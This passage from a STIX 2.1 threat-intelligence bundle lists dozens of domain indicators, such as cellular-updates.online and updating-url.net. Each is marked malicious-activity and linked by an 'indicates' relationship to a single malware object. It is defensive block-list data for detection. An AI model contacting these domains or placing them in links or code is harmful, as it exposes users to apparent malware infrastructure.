["malicious-activity"], "pattern": "[domain-name:value='physicalcheetah.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.189578Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a6595ab0-4276-4e9e-bd36-a0d537323df4", "created": "2024-01-26T21:28:21.189968Z", "modified": "2024-01-26T21:28:21.189968Z", "relationship_type": "indicates", "source_ref": "indicator--1716b021-0d25-44b9-abe5-11854067b164", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f42adc6d-f3ad-4dca-95aa-b9527b29fdec", "created": "2024-01-26T21:28:21.190064Z", "modified": "2024-01-26T21:28:21.190064Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='savemoretime.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.190064Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e3a61184-8ee1-4bf5-9e27-30adf03bdce5", "created": "2024-01-26T21:28:21.190449Z", "modified": "2024-01-26T21:28:21.190449Z", "relationship_type": "indicates", "source_ref": "indicator--f42adc6d-f3ad-4dca-95aa-b9527b29fdec", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--87c618e6-de45-4e32-8789-aa7d2fb2c665", "created": "2024-01-26T21:28:21.190545Z", "modified": "2024-01-26T21:28:21.190545Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='onlygossip.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.190545Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c9dd4d34-09ca-4747-b634-aa7ae85ebadb", "created": "2024-01-26T21:28:21.196058Z", "modified": "2024-01-26T21:28:21.196058Z", "relationship_type": "indicates", "source_ref": "indicator--87c618e6-de45-4e32-8789-aa7d2fb2c665", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--462f5c57-5f51-475c-86e5-147f6f2c94ab", "created": "2024-01-26T21:28:21.196207Z", "modified": "2024-01-26T21:28:21.196207Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='remove-from-mailinglist.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.196207Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2ff0add2-eddf-457d-a058-7ae7da44c43f", "created": "2024-01-26T21:28:21.196645Z", "modified": "2024-01-26T21:28:21.196645Z", "relationship_type": "indicates", "source_ref": "indicator--462f5c57-5f51-475c-86e5-147f6f2c94ab", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a065c2c1-6305-4dde-a07e-3c14832deb51", "created": "2024-01-26T21:28:21.196755Z", "modified": "2024-01-26T21:28:21.196755Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='welovelollipops.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.196755Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--98451a8b-e05e-4fc8-8092-197040b8cf51", "created": "2024-01-26T21:28:21.197158Z", "modified": "2024-01-26T21:28:21.197158Z", "relationship_type": "indicates", "source_ref": "indicator--a065c2c1-6305-4dde-a07e-3c14832deb51", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--37a99cf5-bd47-4081-a6e1-c8e92a9f116b", "created": "2024-01-26T21:28:21.19726Z", "modified": "2024-01-26T21:28:21.19726Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='permalinking.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.19726Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4f338195-43aa-48b4-930d-f85315ae8954", "created": "2024-01-26T21:28:21.19766Z", "modified": "2024-01-26T21:28:21.19766Z", "relationship_type": "indicates", "source_ref": "indicator--37a99cf5-bd47-4081-a6e1-c8e92a9f116b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0dc02a8f-b26d-4880-bcf8-2611a5b07798", "created": "2024-01-26T21:28:21.197764Z", "modified": "2024-01-26T21:28:21.197764Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cozmo-store.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.197764Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8516651c-6fd1-4119-a917-91db71fc250a", "created": "2024-01-26T21:28:21.198156Z", "modified": "2024-01-26T21:28:21.198156Z", "relationship_type": "indicates", "source_ref": "indicator--0dc02a8f-b26d-4880-bcf8-2611a5b07798", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--339c445c-f6f0-4acd-a870-08da33c159c0", "created": "2024-01-26T21:28:21.198255Z", "modified": "2024-01-26T21:28:21.198255Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='simplycode.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.198255Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9e3f5a61-3892-4e6e-8cc3-e454064726bf", "created": "2024-01-26T21:28:21.198639Z", "modified": "2024-01-26T21:28:21.198639Z", "relationship_type": "indicates", "source_ref": "indicator--339c445c-f6f0-4acd-a870-08da33c159c0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c108a64d-d9a4-4281-9f27-253f12d3f126", "created": "2024-01-26T21:28:21.19874Z", "modified": "2024-01-26T21:28:21.19874Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='summermover.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.19874Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2d6adbcd-c403-46cf-8f11-fcb720c5280d", "created": "2024-01-26T21:28:21.199128Z", "modified": "2024-01-26T21:28:21.199128Z", "relationship_type": "indicates", "source_ref": "indicator--c108a64d-d9a4-4281-9f27-253f12d3f126", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b1c64cb1-9705-45af-bf15-7f221a0f1e34", "created": "2024-01-26T21:28:21.199226Z", "modified": "2024-01-26T21:28:21.199226Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='updating-url.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.199226Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--47686a3d-b539-493e-b8ce-6c0e0dd4b20b", "created": "2024-01-26T21:28:21.199699Z", "modified": "2024-01-26T21:28:21.199699Z", "relationship_type": "indicates", "source_ref": "indicator--b1c64cb1-9705-45af-bf15-7f221a0f1e34", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8a4009fe-9bf9-4cfa-84ea-884ed793d220", "created": "2024-01-26T21:28:21.199801Z", "modified": "2024-01-26T21:28:21.199801Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='greenwatermovement.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.199801Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cdf292be-6eb9-443c-a9f9-3b373b531369", "created": "2024-01-26T21:28:21.2002Z", "modified": "2024-01-26T21:28:21.2002Z", "relationship_type": "indicates", "source_ref": "indicator--8a4009fe-9bf9-4cfa-84ea-884ed793d220", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f8f51f86-8518-45d8-9258-9ca04dc76d97", "created": "2024-01-26T21:28:21.200302Z", "modified": "2024-01-26T21:28:21.200302Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='old-glasses.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.200302Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aaf972bf-7b7a-46b7-b964-415fdf8a27c4", "created": "2024-01-26T21:28:21.200695Z", "modified": "2024-01-26T21:28:21.200695Z", "relationship_type": "indicates", "source_ref": "indicator--f8f51f86-8518-45d8-9258-9ca04dc76d97", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d17014ac-5f55-4937-a702-dc0da38e4818", "created": "2024-01-26T21:28:21.200797Z", "modified": "2024-01-26T21:28:21.200797Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reloadpage.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.200797Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4bab7f9c-8a59-4d2d-9159-26f1f10ddf24", "created": "2024-01-26T21:28:21.201185Z", "modified": "2024-01-26T21:28:21.201185Z", "relationship_type": "indicates", "source_ref": "indicator--d17014ac-5f55-4937-a702-dc0da38e4818", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--af10d439-9388-40ee-8db7-8bc77de7c1ad", "created": "2024-01-26T21:28:21.201283Z", "modified": "2024-01-26T21:28:21.201283Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestfoods.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.201283Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ec4883ae-b9fd-456c-bc07-28f6cff9b05d", "created": "2024-01-26T21:28:21.201666Z", "modified": "2024-01-26T21:28:21.201666Z", "relationship_type": "indicates", "source_ref": "indicator--af10d439-9388-40ee-8db7-8bc77de7c1ad", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d9556b9f-8a20-48d5-b766-ac8f10d900f7", "created": "2024-01-26T21:28:21.201775Z", "modified": "2024-01-26T21:28:21.201775Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='start2playnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.201775Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--181bccba-2cce-45ad-91b0-4b7cb6b57ae1", "created": "2024-01-26T21:28:21.202171Z", "modified": "2024-01-26T21:28:21.202171Z", "relationship_type": "indicates", "source_ref": "indicator--d9556b9f-8a20-48d5-b766-ac8f10d900f7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4d4534e5-0a79-4dc6-8e4a-7b3c9ffc3577", "created": "2024-01-26T21:28:21.202267Z", "modified": "2024-01-26T21:28:21.202267Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='123tramites.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.202267Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3fdce054-7091-45b4-96e0-d5dafa2f5a3b", "created": "2024-01-26T21:28:21.202667Z", "modified": "2024-01-26T21:28:21.202667Z", "relationship_type": "indicates", "source_ref": "indicator--4d4534e5-0a79-4dc6-8e4a-7b3c9ffc3577", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--577b9135-b8f5-4989-aa4f-629600de5890", "created": "2024-01-26T21:28:21.202767Z", "modified": "2024-01-26T21:28:21.202767Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='global-redirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.202767Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--972865a2-c653-4894-b4e4-4b8d1bbbc124", "created": "2024-01-26T21:28:21.20316Z", "modified": "2024-01-26T21:28:21.20316Z", "relationship_type": "indicates", "source_ref": "indicator--577b9135-b8f5-4989-aa4f-629600de5890", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7fc2f706-af9a-4072-9c8e-81df6e241c5f", "created": "2024-01-26T21:28:21.203257Z", "modified": "2024-01-26T21:28:21.203257Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='healthykids-food.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.203257Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ecdff50f-2afe-48e5-b4c1-e685c1615430", "created": "2024-01-26T21:28:21.203647Z", "modified": "2024-01-26T21:28:21.203647Z", "relationship_type": "indicates", "source_ref": "indicator--7fc2f706-af9a-4072-9c8e-81df6e241c5f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--53daa2d8-a126-44a0-a7ad-ee0b0f171219", "created": "2024-01-26T21:28:21.203743Z", "modified": "2024-01-26T21:28:21.203743Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='csomagodjott.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.203743Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--92e5853e-3cab-4ef0-b606-4f51ea5645c5", "created": "2024-01-26T21:28:21.204211Z", "modified": "2024-01-26T21:28:21.204211Z", "relationship_type": "indicates", "source_ref": "indicator--53daa2d8-a126-44a0-a7ad-ee0b0f171219", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d7e890dd-536e-4cda-a471-0d50bd857519", "created": "2024-01-26T21:28:21.204311Z", "modified": "2024-01-26T21:28:21.204311Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='diagram-shape.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.204311Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5358e774-ba04-4f94-936c-af068ad184a8", "created": "2024-01-26T21:28:21.204711Z", "modified": "2024-01-26T21:28:21.204711Z", "relationship_type": "indicates", "source_ref": "indicator--d7e890dd-536e-4cda-a471-0d50bd857519", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--90bd5701-0907-4f8b-893c-23dca8468786", "created": "2024-01-26T21:28:21.20481Z", "modified": "2024-01-26T21:28:21.20481Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-spider.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.20481Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dd7c25b7-2ed2-4515-aaad-b68685484538", "created": "2024-01-26T21:28:21.2052Z", "modified": "2024-01-26T21:28:21.2052Z", "relationship_type": "indicates", "source_ref": "indicator--90bd5701-0907-4f8b-893c-23dca8468786", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e3cb741b-b0ba-4cb8-8e4e-48ae61b197a9", "created": "2024-01-26T21:28:21.205298Z", "modified": "2024-01-26T21:28:21.205298Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='7style.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.205298Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--98721879-bebb-4151-a32c-d49bbb7715e7", "created": "2024-01-26T21:28:21.205751Z", "modified": "2024-01-26T21:28:21.205751Z", "relationship_type": "indicates", "source_ref": "indicator--e3cb741b-b0ba-4cb8-8e4e-48ae61b197a9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a49682a6-fd29-41d9-aa27-337a90e33840", "created": "2024-01-26T21:28:21.205854Z", "modified": "2024-01-26T21:28:21.205854Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='youaresostupid.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.205854Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--18ef7de1-cde2-4e6a-863e-994b0cc994b9", "created": "2024-01-26T21:28:21.206245Z", "modified": "2024-01-26T21:28:21.206245Z", "relationship_type": "indicates", "source_ref": "indicator--a49682a6-fd29-41d9-aa27-337a90e33840", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--545b89ae-58f0-46c9-bc54-859259a9cb86", "created": "2024-01-26T21:28:21.206344Z", "modified": "2024-01-26T21:28:21.206344Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='akhbar-almasdar.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.206344Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c0ecd80c-80bd-41df-bb30-f65de2974464", "created": "2024-01-26T21:28:21.206738Z", "modified": "2024-01-26T21:28:21.206738Z", "relationship_type": "indicates", "source_ref": "indicator--545b89ae-58f0-46c9-bc54-859259a9cb86", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b0c80211-45ab-4fb0-9363-2719869c6c46", "created": "2024-01-26T21:28:21.206835Z", "modified": "2024-01-26T21:28:21.206835Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cellular-updates.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.206835Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1331c1ca-82c3-4c64-a7b4-4f353f0f85d4", "created": "2024-01-26T21:28:21.207228Z", "modified": "2024-01-26T21:28:21.207228Z", "relationship_type": "indicates", "source_ref": "indicator--b0c80211-45ab-4fb0-9363-2719869c6c46", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aeb835fa-f5b5-48f7-9335-74986abb146d", "created": "2024-01-26T21:28:21.207323Z", "modified": "2024-01-26T21:28:21.207323Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thainews.asia']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.207323Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fdf66bb9-49c0-4ce2-8cd5-39bab4ec1073", "created": "2024-01-26T21:28:21.207702Z", "modified": "2024-01-26T21:28:21.207702Z", "relationship_type": "indicates", "source_ref": "indicator--aeb835fa-f5b5-48f7-9335-74986abb146d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9e749544-4f5f-49c9-ac44-a5339d4c1946", "created": "2024-01-26T21:28:21.207804Z", "modified": "2024-01-26T21:28:21.207804Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pc-views.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.207804Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e1cee95e-d5b5-4349-ac09-aad4621c3e3c", "created": "2024-01-26T21:28:21.208187Z", "modified": "2024-01-26T21:28:21.208187Z", "relationship_type": "indicates", "source_ref": "indicator--9e749544-4f5f-49c9-ac44-a5339d4c1946", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9b3c93ea-4d8a-46cc-8c28-7a73e1f94f81", "created": "2024-01-26T21:28:21.208284Z", "modified": "2024-01-26T21:28:21.208284Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='raw-console.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.208284Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f1f91109-427a-4736-be3a-21b9a646612b", "created": "2024-01-26T21:28:21.208755Z", "modified": "2024-01-26T21:28:21.208755Z", "relationship_type": "indicates", "source_ref": "indicator--9b3c93ea-4d8a-46cc-8c28-7a73e1f94f81", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e1f5668f-98f5-4426-8491-064a89049fbf", "created": "2024-01-26T21:28:21.208857Z", "modified": "2024-01-26T21:28:21.208857Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='elitecarz.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.208857Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--36e7e254-2ff3-43d8-862a-cfd1cb78d3c4", "created": "2024-01-26T21:28:21.209242Z", "modified": "2024-01-26T21:28:21.209242Z", "relationship_type": "indicates", "source_ref": "indicator--e1f5668f-98f5-4426-8491-064a89049fbf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4da095de-5c47-4bc5-8f17-56c1f2dba03b", "created": "2024-01-26T21:28:21.209339Z", "modified": "2024-01-26T21:28:21.209339Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='maghrebfoot.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.209339Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--745cea4c-b35b-4e95-bea5-a8390ffffba0", "created": "2024-01-26T21:28:21.209724Z", "modified": "2024-01-26T21:28:21.209724Z", "relationship_type": "indicates", "source_ref": "indicator--4da095de-5c47-4bc5-8f17-56c1f2dba03b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1850b695-f343-45ec-a41e-82c8aebdde1d", "created": "2024-01-26T21:28:21.209821Z", "modified": "2024-01-26T21:28:21.209821Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='shia-voice.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.209821Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c6cb2de0-51b8-4ce1-8121-5eca3af39c24", "created": "2024-01-26T21:28:21.210204Z", "modified": "2024-01-26T21:28:21.210204Z", "relationship_type": "indicates", "source_ref": "indicator--1850b695-f343-45ec-a41e-82c8aebdde1d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bfc2821b-1504-43ad-a5c8-0a6724ae50ba", "created": "2024-01-26T21:28:21.210304Z", "modified": "2024-01-26T21:28:21.210304Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fashion-online.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.210304Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d189f677-1104-45da-bc9a-afde471d3eb1", "created": "2024-01-26T21:28:21.210698Z", "modified": "2024-01-26T21:28:21.210698Z", "relationship_type": "indicates", "source_ref": "indicator--bfc2821b-1504-43ad-a5c8-0a6724ae50ba", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--44e5778c-7148-4062-8aab-9ab3b4b05387", "created": "2024-01-26T21:28:21.210796Z", "modified": "2024-01-26T21:28:21.210796Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vivrechezsoi.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.210796Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--922dc10d-5220-430d-b9c8-e9b05e60fd7f", "created": "2024-01-26T21:28:21.211186Z", "modified": "2024-01-26T21:28:21.211186Z", "relationship_type": "indicates", "source_ref": "indicator--44e5778c-7148-4062-8aab-9ab3b4b05387", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--80ce723c-6293-4a0d-b778-4fc3c01013ec", "created": "2024-01-26T21:28:21.211284Z", "modified": "2024-01-26T21:28:21.211284Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gearstereotype.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.211284Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--026ee713-bb0e-4343-9410-4053330efdba", "created": "2024-01-26T21:28:21.21167Z", "modified": "2024-01-26T21:28:21.21167Z", "relationship_type": "indicates", "source_ref": "indicator--80ce723c-6293-4a0d-b778-4fc3c01013ec", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1c206e6a-9248-4ed5-afb9-7baaf9b298d7", "created": "2024-01-26T21:28:21.211767Z", "modified": "2024-01-26T21:28:21.211767Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='crosslocated.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.211767Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--611b3c18-f0f4-4f6c-8f25-536fe86626f2", "created": "2024-01-26T21:28:21.212155Z", "modified": "2024-01-26T21:28:21.212155Z", "relationship_type": "indicates", "source_ref": "indicator--1c206e6a-9248-4ed5-afb9-7baaf9b298d7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b51de600-f49a-4464-a866-5b4431d0a28c", "created": "2024-01-26T21:28:21.212251Z", "modified": "2024-01-26T21:28:21.212251Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='natural-ice.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.212251Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e5d5ae92-8f22-448e-ac22-3c75465a0fce", "created": "2024-01-26T21:28:21.212641Z", "modified": "2024-01-26T21:28:21.212641Z", "relationship_type": "indicates", "source_ref": "indicator--b51de600-f49a-4464-a866-5b4431d0a28c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e898fc4f-a2ba-4d7c-8979-1bcb4334b985", "created": "2024-01-26T21:28:21.212737Z", "modified": "2024-01-26T21:28:21.212737Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='untoldinfo.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.212737Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--03ef43d7-3adf-4074-a4c9-14320450d9b4", "created": "2024-01-26T21:28:21.213201Z", "modified": "2024-01-26T21:28:21.213201Z", "relationship_type": "indicates", "source_ref": "indicator--e898fc4f-a2ba-4d7c-8979-1bcb4334b985", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--315b4155-b765-4ff2-98b8-f731cb9cb88d", "created": "2024-01-26T21:28:21.213306Z", "modified": "2024-01-26T21:28:21.213306Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='discountmarkets.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.213306Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--871aa601-27e2-445d-b3f8-ba67f6b2176e", "created": "2024-01-26T21:28:21.213701Z", "modified": "2024-01-26T21:28:21.213701Z", "relationship_type": "indicates", "source_ref": "indicator--315b4155-b765-4ff2-98b8-f731cb9cb88d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bef4a511-c6a3-490a-8d45-29840cb7cf0f", "created": "2024-01-26T21:28:21.2138Z", "modified": "2024-01-26T21:28:21.2138Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='crowndecoration.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.2138Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2f72abb8-6c77-4788-ba90-a7b6f38ee1b1", "created": "2024-01-26T21:28:21.214194Z", "modified": "2024-01-26T21:28:21.214194Z", "relationship_type": "indicates", "source_ref": "indicator--bef4a511-c6a3-490a-8d45-29840cb7cf0f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5a8c2ee6-a9d2-4b36-b716-74549daa9988", "created": "2024-01-26T21:28:21.214295Z", "modified": "2024-01-26T21:28:21.214295Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='offresimmobilier.com']", "pattern_type": "stix", "pattern_version": "2.1", 